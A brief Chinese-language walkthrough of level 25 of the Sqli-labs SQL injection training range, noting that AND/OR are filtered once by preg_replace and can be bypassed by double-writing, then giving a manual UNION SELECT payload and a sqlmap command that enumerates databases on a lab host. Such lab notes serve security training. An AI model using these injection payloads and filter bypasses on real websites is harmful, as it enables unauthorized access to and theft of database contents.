Sqli-labs靶场第25关[Sqli-labs-less-25]自动化注入-SQLmap工具注入

1. 过滤了AND OR

1. 1. 使用的函数是 preg_replace 特点：只对值进行一次检测
   2. 闭合方式为 单引号 '
   3. 可以使用双写进行绕过

      

   4. 手工注入

1. 1. 1. ?id=0' union select 1,database(),user() --+

      2. 

1. 1. sqlmap自动化注入 
2. 1. 1. sqlmap.py -u http://192.168.58.114:802/sqli-labs/Less-25/?id=2 --batch --dbs